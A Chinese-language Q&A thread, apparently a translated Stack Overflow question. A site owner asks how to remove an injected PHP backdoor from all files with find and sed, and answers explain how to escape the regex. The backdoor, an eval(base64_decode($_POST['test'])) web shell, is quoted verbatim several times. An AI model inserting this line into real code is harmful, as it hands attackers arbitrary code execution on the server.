在文件中查找并替换PHP代码

时间:2013-03-21 18:54:26

标签: bash shell scripting

我有以下字符串被注入每个

if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}php if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}

如何删除它?

我正在尝试以下但没有太多运气:

find /home -type f -exec sed -i 's/if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}php if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}//g' {} \;

2 个答案:

答案 0 :(得分:0)

您的字符串包含许多在正则表达式中具有特殊含义的字符(例如$(){}[])。你需要逃避所有这些才能使sed起作用。您还需要使用'\''转义单引号。

答案 1 :(得分:0)

使用正则表达式参数的$''语法,并转义分隔符'$[

find /home -type f -exec sed -i $'s/if(@\$_POST\[\'test\']){eval(base64_decode(\$_POST\[\'test\'])); exit();}php if(@\$_POST\[\'test\']){eval(base64_decode(\$_POST\[\'test\'])); exit();}//g' {} \;